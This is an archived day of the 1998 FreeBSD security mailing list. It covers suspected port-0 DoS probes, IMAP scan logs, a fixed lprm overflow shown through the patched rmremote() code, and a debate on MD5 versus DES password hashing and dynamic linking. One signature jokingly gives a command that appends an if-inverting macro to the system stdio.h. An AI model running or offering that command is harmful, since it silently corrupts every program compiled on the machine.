owner-freebsd-security Tue Apr 21 04:34:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA19548 for freebsd-security-outgoing; Tue, 21 Apr 1998 04:34:47 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-63.waterford.indigo.ie [194.125.139.126]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA19529 for ; Tue, 21 Apr 1998 11:34:41 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id MAA00823; Tue, 21 Apr 1998 12:32:02 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804211132.MAA00823@indigo.ie> Date: Tue, 21 Apr 1998 12:32:02 +0000 In-Reply-To: "Alexander B. Povolotsky" "New DoS attack?" (Apr 21, 9:33am) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: "Alexander B. Povolotsky" , freebsd-security@FreeBSD.ORG Subject: Re: New DoS attack? Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 21, 9:33am, "Alexander B. Povolotsky" wrote: } Subject: New DoS attack? > Strangely, I've posted this message TWICE, but still don't see it... This is the first time I've seen it. Is the other address subscribed to security@freebsd.org or freebsd-security@freebsd.org? > During last months, I've experienced several STRANGE hangs. TCP stack worked > OK, while nothing else did. I thought of poor hardware, instable snap, > everything else. > > Several days ago, I've heard _rumor_ of DoS attack on BSD stack, based on TCP > packet sent to or maybe from port 0. I've installed ipfw rule: > > drop log tcp from any 0 to any > > and today I've found two packets destined from 200.255.209.92 port 0 dropped. > They were destined to port 143 (imap), while I'm 101% sure that no one from > mi-rj52.montreal.com.br have any mail account on my box. Could you (anyone?) dump all packets coming from/going to port 0 using tcpdump and send me any logs? I'm not sure if this means you'll have to turn off the ipfw rule, I don't know at what stage the packets get filtered. Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 05:03:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA25115 for freebsd-security-outgoing; Tue, 21 Apr 1998 05:03:49 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from firewall.ftf.dk (root@mail.ftf.dk [129.142.64.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA25102 for ; Tue, 21 Apr 1998 12:03:42 GMT (envelope-from regnauld@deepo.prosa.dk) Received: from mail.prosa.dk ([192.168.100.2]) by firewall.ftf.dk (8.7.6/8.7.3) with ESMTP id QAA26439; Tue, 21 Apr 1998 16:00:06 +0200 Received: from deepo.prosa.dk (deepo.prosa.dk [192.168.100.10]) by mail.prosa.dk (8.8.5/8.8.5/prosa-1.1) with ESMTP id OAA25307; Tue, 21 Apr 1998 14:22:22 +0200 (CEST) Received: (from regnauld@localhost) by deepo.prosa.dk (8.8.7/8.8.5/prosa-1.1) id OAA20686; Tue, 21 Apr 1998 14:02:21 +0200 (CEST) Message-ID: <19980421140221.37203@deepo.prosa.dk> Date: Tue, 21 Apr 1998 14:02:21 +0200 From: Philippe Regnauld To: spork Cc: freebsd-security@FreeBSD.ORG Subject: Re: New DoS attack? References: <199804210533.JAA02644@lms.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.88e In-Reply-To: ; from spork on Tue, Apr 21, 1998 at 02:27:42AM -0400 X-Operating-System: FreeBSD 2.2.5-RELEASE i386 Organization: PROSA Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk spork writes: > Interesting, I'm logging alot of imap requests as well, but none from > strange ports... Perhaps it's just someone looking for the old imap bug? Seems like it. A 2.2.1 machine I have up was probed yesterday from a cme.silverplatter.com (from 1232 -> 143). -- -[ Philippe Regnauld / sysadmin / regnauld@deepo.prosa.dk / +55.4N +11.3E ]- «Pluto placed his bad dog at the entrance of Hades to keep the dead IN and the living OUT! The archetypical corporate firewall?» - S. Kelly Bootle To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 05:40:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA00394 for freebsd-security-outgoing; Tue, 21 Apr 1998 05:40:54 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from tc.nsc.ru (ns.tc.nsc.ru [194.226.168.68]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA00374 for ; Tue, 21 Apr 1998 12:40:31 GMT (envelope-from vitaly@tc.nsc.ru) Received: from localhost (vitaly@localhost) by tc.nsc.ru (8.8.8/8.8.8) with ESMTP id TAA11953 for ; Tue, 21 Apr 1998 19:39:29 +0700 (NSS) (envelope-from vitaly@tc.nsc.ru) Date: Tue, 21 Apr 1998 19:39:21 +0700 (NSS) From: "Vitaly V. Belekhov" To: freebsd-security@FreeBSD.ORG Subject: Re: New DoS attack? In-Reply-To: <19980421140221.37203@deepo.prosa.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=KOI8-R Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- I also see such probes, but don't so worried before this discussion ariased :) Apr 14 06:05:22 ns /kernel: ipfw: 3110 Deny TCP 164.15.217.1:10143 194.226.168.68:143 in via ed0 Name: sga-asp.ulb.ac.be Address: 164.15.217.1 On Tue, 21 Apr 1998, Philippe Regnauld wrote: > spork writes: > > Interesting, I'm logging alot of imap requests as well, but none from > > strange ports... Perhaps it's just someone looking for the old imap bug? > > Seems like it. A 2.2.1 machine I have up was probed yesterday > from a cme.silverplatter.com (from 1232 -> 143). > - ------------------------------------------------------------- Best wishes, Vitaly Belekhov PGP public key - finger://vitaly@tc.nsc.ru http://www.tc.nsc.ru/~vitaly íÏÔÏÒ ÂÙÌ ÏÞÅÎØ ÐÏÈÏÖ ÎÁ ÎÁÓÔÏÑÝÉÊ, ÎÏ ÎÅ ÒÁÂÏÔÁÌ. -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBNTyTgKYVFaFPa3hBAQEl0QP+O9pYBYMo4buxNC5bJbNvbxBUOWu+qBpT tY3Hp2Ix5hK8IvF7l9AJ5r+NZ/DTEFdy9jlZwrUMeq7rj/qUvLyYPSy9C9MdHU0+ bC+r1y74/Ngf/08WI9GLPxml8KZDUMRJW3VQW2SBsI8diDNqtU7o+s+6hmm86XAC vDYGjiq6hGg= =2jUh -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 06:02:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA03334 for freebsd-security-outgoing; Tue, 21 Apr 1998 06:02:34 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from antipodes.cdrom.com (castles332.castles.com [208.214.167.32]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03317 for ; Tue, 21 Apr 1998 13:02:28 GMT (envelope-from mike@antipodes.cdrom.com) Received: from antipodes.cdrom.com (localhost [127.0.0.1]) by antipodes.cdrom.com (8.8.8/8.8.5) with ESMTP id FAA00330; Tue, 21 Apr 1998 05:59:35 -0700 (PDT) Message-Id: <199804211259.FAA00330@antipodes.cdrom.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: Ollivier Robert cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Tue, 21 Apr 1998 12:49:54 +0200." <19980421124954.A1797@keltia.freenix.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Apr 1998 05:59:33 -0700 From: Mike Smith Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > According to Peter Wemm: > > However, the thought of having ld.so on / and a dynamic sh and init seems > > to make some people break out into a cold sweat... > > We could have ld.So on / and still have a static sh/init to boot with. One > argument against dynamic bin (it is probably less an issue for /sbin) is > that running multiple copies of binaries from /bin will be way slower and > eat more memory "Way slower" is a little subjective, but "more memory"? Remember that in a paged virtual memory system only referenced pages are brought in, so as long as the code path is the same through a given binary, its physical memory footprint isn't going to change drastically. As soon as you have more than one *different* binary running out of /bin, you win of course, as there's only *one* copy (at most) of the common shared libraries being backed by physical memory. It would be useful, however, to quantify "way slower", so that we can make personally objective decisions about that... -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 07:04:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA12134 for freebsd-security-outgoing; Tue, 21 Apr 1998 07:04:45 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from spinner.netplex.com.au (spinner.netplex.com.au [202.12.86.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA12120 for ; Tue, 21 Apr 1998 14:04:27 GMT (envelope-from peter@netplex.com.au) Received: from spinner.netplex.com.au (localhost [127.0.0.1]) by spinner.netplex.com.au (8.8.8/8.8.8/Spinner) with ESMTP id WAA21028; Tue, 21 Apr 1998 22:02:15 +0800 (WST) (envelope-from peter@spinner.netplex.com.au) Message-Id: <199804211402.WAA21028@spinner.netplex.com.au> X-Mailer: exmh version 2.0.2 2/24/98 To: Mike Smith cc: Ollivier Robert , freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Tue, 21 Apr 1998 05:59:33 MST." <199804211259.FAA00330@antipodes.cdrom.com> Date: Tue, 21 Apr 1998 22:02:14 +0800 From: Peter Wemm Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Mike Smith wrote: > > According to Peter Wemm: > > > However, the thought of having ld.so on / and a dynamic sh and init seems > > > to make some people break out into a cold sweat... [..] > It would be useful, however, to quantify "way slower", so that we can > make personally objective decisions about that... Bruce Evans (bless his Retro soul :-) has some recent experience with this. He was running with SHLIBDIR=/lib for some time with a fully dynamic system. He's since switched to the complete opposite, *everything* static, including /usr/bin and the works. He recently got a few percent (5%? 8%?) of a speedup in the 'make world' stakes by making the /usr/obj/tmp/usr/bin stuff static and skipping a the build stages of some of the larger shared libs until later. (the speedup was due to less overall compiling being done as well as a reduction in exec startup and PIC relocation overheads). There is no doubt that going overboard with excessive dynamic linking and breaking up of libc can really hurt performance. Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 08:32:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA25731 for freebsd-security-outgoing; Tue, 21 Apr 1998 08:32:31 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA25697 for ; Tue, 21 Apr 1998 15:32:16 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id LAA24057 for ; Tue, 21 Apr 1998 11:32:22 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id LAA02586 for ; Tue, 21 Apr 1998 11:32:22 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id LAA22702; Tue, 21 Apr 1998 11:32:22 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Tue, 21 Apr 1998 11:32:22 -0400 (EDT) Message-Id: <199804211532.LAA22702@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-Reply-To: Mike Smith's message of "Tue, April 21, 1998 05:59:33 -0700" regarding "Re: Using MD5 insted of DES for passwd ecnryption " id <199804211259.FAA00330@antipodes.cdrom.com> References: <19980421124954.A1797@keltia.freenix.fr> <199804211259.FAA00330@antipodes.cdrom.com> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: woods@zeus.leitch.com (Greg A. Woods) Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Tue, April 21, 1998 at 05:59:33 (-0700), Mike Smith wrote: ] > Subject: Re: Using MD5 insted of DES for passwd ecnryption > > As soon as you have more than one *different* binary running out of > /bin, you win of course, as there's only *one* copy (at most) of the > common shared libraries being backed by physical memory. That's not necessarily true, at least from what I've learned second hand. There can be a certain amount of overhead in terms of extra VM pages allocated for shared memory, so one additional shared binary may still not result in even reaching the same memory footprint as the same fully static binaries would. It would depend on the relative amounts of the shared libraries that each given binary might link in. In any case I'd be horrified to learn that whatever scheme of controlling password encryption is chosen relies on shared libraries. I think it should always be possible to statically link the whole system if one so desires. That's the one sure way to test if shared libraries are causing any weirdness. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 08:46:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA28291 for freebsd-security-outgoing; Tue, 21 Apr 1998 08:46:49 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: (from jmb@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA28251; Tue, 21 Apr 1998 08:46:36 -0700 (PDT) (envelope-from jmb) From: "Jonathan M. Bresler" Message-Id: <199804211546.IAA28251@hub.freebsd.org> Subject: Re: New DoS attack? In-Reply-To: <199804211132.MAA00823@indigo.ie> from Niall Smart at "Apr 21, 98 12:32:02 pm" To: rotel@indigo.ie Date: Tue, 21 Apr 1998 08:46:35 -0700 (PDT) Cc: mt@folco.lms.ru, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Niall Smart wrote: > On Apr 21, 9:33am, "Alexander B. Povolotsky" wrote: > } Subject: New DoS attack? > > Strangely, I've posted this message TWICE, but still don't see it... > > This is the first time I've seen it. Is the other address subscribed > to security@freebsd.org or freebsd-security@freebsd.org? security@freebsd.org is nothing more than a mail shortcut for freebsd-security@freebsd.org. everything sent to security@freebsd.org that makes it past the spam blockers goes to freebsd-security@freebsd.org. jmb To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 09:40:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09335 for freebsd-security-outgoing; Tue, 21 Apr 1998 09:40:00 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09240 for ; Tue, 21 Apr 1998 16:39:20 GMT (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.8.8/8.8.5) with ESMTP id JAA00416; Tue, 21 Apr 1998 09:35:42 -0700 (PDT) Message-Id: <199804211635.JAA00416@dingo.cdrom.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: woods@zeus.leitch.com (Greg A. Woods) cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Tue, 21 Apr 1998 11:32:22 EDT." <199804211532.LAA22702@brain.zeus.leitch.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Apr 1998 09:35:41 -0700 From: Mike Smith Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > [ On Tue, April 21, 1998 at 05:59:33 (-0700), Mike Smith wrote: ] > > Subject: Re: Using MD5 insted of DES for passwd ecnryption > > > > As soon as you have more than one *different* binary running out of > > /bin, you win of course, as there's only *one* copy (at most) of the > > common shared libraries being backed by physical memory. > > That's not necessarily true, at least from what I've learned second > hand. There can be a certain amount of overhead in terms of extra VM > pages allocated for shared memory, so one additional shared binary may > still not result in even reaching the same memory footprint as the same > fully static binaries would. Er, that's exactly what I said. > In any case I'd be horrified to learn that whatever scheme of > controlling password encryption is chosen relies on shared libraries. Why? That's like saying that you'd be horrified to learn that the scheme used executable programs, or relied on the VM system working. > I think it should always be possible to statically link the whole system > if one so desires. That's the one sure way to test if shared libraries > are causing any weirdness. How are you supposed to load arbitrary (possibly third-party) authentication modules if you have to have the source at build time? That's stupid. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 09:40:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09606 for freebsd-security-outgoing; Tue, 21 Apr 1998 09:40:55 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09505 for ; Tue, 21 Apr 1998 16:40:23 GMT (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.8.8/8.8.8) id MAA27807; Tue, 21 Apr 1998 12:40:07 -0400 (EDT) (envelope-from wollman) Date: Tue, 21 Apr 1998 12:40:07 -0400 (EDT) From: Garrett Wollman Message-Id: <199804211640.MAA27807@khavrinen.lcs.mit.edu> To: Robert Watson Cc: freebsd-security@FreeBSD.ORG Subject: Nasty security hole in "lprm" (fwd) In-Reply-To: References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk < said: > Do we got this one? Not since I rewrote rmjob.c:rmremote(): /* * Counting: * 4 == "\5" + remote_queue + " " + person * 2 * users == " " + user[i] for each user * requests == asprintf results for each request * 1 == "\n" * Although laborious, doing it this way makes it possible for * us to process requests of indeterminate length without * applying an arbitrary limit. Arbitrary Limits Are Bad (tm). */ niov = 4 + 2 * users + requests + 1; iov = malloc(niov * sizeof *iov); if (iov == 0) fatal(pp, "out of memory"); iov[0].iov_base = "\5"; iov[1].iov_base = pp->remote_queue; iov[2].iov_base = " "; iov[3].iov_base = all ? "-all" : person; for (i = 0; i < users; i++) { iov[4 + 2 * i].iov_base = " "; iov[4 + 2 * i + 1].iov_base = user[i]; } for (i = 0; i < requests; i++) { asprintf(&iov[4 + 2 * users + i].iov_base, " %d", requ[i]); if (iov[4 + 2 * users + i].iov_base == 0) fatal(pp, "out of memory"); } iov[4 + 2 * users + requests].iov_base = "\n"; for (totlen = i = 0; i < niov; i++) totlen += (iov[i].iov_len = strlen(iov[i].iov_base)); Now, on the other hand, I make no guarantees about what the server at the other end is going to do when presented with such a request. (Probably barf.) -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 10:20:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA18285 for freebsd-security-outgoing; Tue, 21 Apr 1998 10:20:10 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA18156 for ; Tue, 21 Apr 1998 17:19:48 GMT (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.8.8/8.8.8) with ESMTP id TAA13433; Tue, 21 Apr 1998 19:19:35 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by greenpeace.grondar.za (8.8.8/8.8.8) with ESMTP id TAA14995; Tue, 21 Apr 1998 19:19:35 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199804211719.TAA14995@greenpeace.grondar.za> X-Mailer: exmh version 2.0.2 2/24/98 To: woods@zeus.leitch.com (Greg A. Woods) cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Apr 1998 19:19:34 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Greg A. Woods wrote: > In any case I'd be horrified to learn that whatever scheme of > controlling password encryption is chosen relies on shared libraries. > I think it should always be possible to statically link the whole system > if one so desires. That's the one sure way to test if shared libraries > are causing any weirdness. At least one scheme that was discussed in the passed involved not shared LIBRARIES, but shared OBJECTS (.so files). This would allow an app to link to some code at runtime _if_it_existed_ (as in the case of optional DES code). This idea requires that the dlopen(3) and friends that are used for static objects will work appropriately. Some folk (JDP?) suggested that this was theoretically possible "with a bit of work" (Such work not done to date). M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 11:13:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA03228 for freebsd-security-outgoing; Tue, 21 Apr 1998 11:13:40 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gizmo.dimension.net (gizmo.dimension.net [209.12.7.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA03172 for ; Tue, 21 Apr 1998 18:13:26 GMT (envelope-from jaitken@dimension.net) Received: (from jaitken@localhost) by gizmo.dimension.net (8.8.5/8.8.7) id OAA27421 for freebsd-security@freebsd.org; Tue, 21 Apr 1998 14:12:51 -0400 (EDT) From: Jeff Aitken Message-Id: <199804211812.OAA27421@gizmo.dimension.net> Subject: md5, des, et al. X-ELM-OSV: (Our standard violations) no-mime=1; no-hdr-encoding=1 To: freebsd-security@FreeBSD.ORG Date: Tue, 21 Apr 1998 14:12:49 -0400 (EDT) Reply-to: jaitken@dimension.net X-Mailer: ELM [version 2.4ME+ PL26 (25)] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk A recent poster (sorry, I deleted the message, so I don't remember who) said something about using dlopen() and friends (we'll assume for argument's sake that that will work flawlessly). However, doesn't any solution involving shared {libraries,object code} merely solve half of the problem? Suppose you have md5.so, des.so, blowfish.so, and foobar.so. Obviously, you can now decrypt passwords encrypted with DES, MD5, etc. However, when a user changes his or her password, which scheme is used to generate the new password? Situation 1: Administrator A set up FreeBSD to use MD5 because it's he default. He later wants to be able to share passwords with other UNIX boxes, so he needs to convert all passwords to DES. Thus, he needs to read MD5 but write DES. (ala Ultrix's UPGRADE security mode). This scenario equates to "read any, write one". Situation 2: Administrator B sets up a FreeBSD NIS master. over time, his userbase expands to include users in multiple countries. Some of those countries forbid the use of "strong" encryption. Administrator B would like to use MD5 for USA users, but some simple obfuscation for users in one of those other countries. Thus, the reading/writing mechanism must be able to write different formats to the same file. This scenario equates to "read any, write any". Granted, the second situation might be a little more farfetched, but it's certainly not outside the realm of possibility. Seems to me that passwd.conf is about the only way to make this work. Or am I missing something obvious? -- Jeff Aitken jaitken@dimension.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 11:14:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA03590 for freebsd-security-outgoing; Tue, 21 Apr 1998 11:14:48 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA03582 for ; Tue, 21 Apr 1998 18:14:40 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id OAA25064 for ; Tue, 21 Apr 1998 14:14:37 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id OAA03439 for ; Tue, 21 Apr 1998 14:14:38 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id OAA23669; Tue, 21 Apr 1998 14:14:37 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Tue, 21 Apr 1998 14:14:37 -0400 (EDT) Message-Id: <199804211814.OAA23669@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-Reply-To: Mike Smith's message of "Tue, April 21, 1998 09:35:41 -0700" regarding "Re: Using MD5 insted of DES for passwd ecnryption " id <199804211635.JAA00416@dingo.cdrom.com> References: <199804211532.LAA22702@brain.zeus.leitch.com> <199804211635.JAA00416@dingo.cdrom.com> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: freebsd-security@FreeBSD.ORG Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Tue, April 21, 1998 at 09:35:41 (-0700), Mike Smith wrote: ] > Subject: Re: Using MD5 insted of DES for passwd ecnryption > > > I think it should always be possible to statically link the whole system > > if one so desires. That's the one sure way to test if shared libraries > > are causing any weirdness. > > How are you supposed to load arbitrary (possibly third-party) > authentication modules if you have to have the source at build time? > That's stupid. Maybe not the source, but at minimum the objects. Any method of run-time control over password encryption schemes should permit all available schemes to be statically linked simultaneously into the relevant binaries such that a run-time "switch" can select amongst those that were available at link time. Naturally adding more schemes requires re-linking -- but that's neither surprising, nor upsetting. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 11:34:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA10139 for freebsd-security-outgoing; Tue, 21 Apr 1998 11:34:02 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA09531 for ; Tue, 21 Apr 1998 18:31:42 GMT (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.8.8/8.8.8) with ESMTP id UAA15711 for ; Tue, 21 Apr 1998 20:31:24 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by greenpeace.grondar.za (8.8.8/8.8.8) with ESMTP id UAA26779 for ; Tue, 21 Apr 1998 20:31:18 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199804211831.UAA26779@greenpeace.grondar.za> X-Mailer: exmh version 2.0.2 2/24/98 To: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Apr 1998 20:31:17 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > Maybe not the source, but at minimum the objects. Any method of > run-time control over password encryption schemes should permit all > available schemes to be statically linked simultaneously into the > relevant binaries such that a run-time "switch" can select amongst those > that were available at link time. Naturally adding more schemes > requires re-linking -- but that's neither surprising, nor upsetting. Not so. There exists the probability that dlopen could be fixed to work for statically linked apps to allow them to find and use arbitrary (binar y) .so objects. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 13:37:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA16523 for freebsd-security-outgoing; Tue, 21 Apr 1998 13:37:52 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gw.sut.ru (gw.sut.ru [194.190.126.49]) by hub.freebsd.org 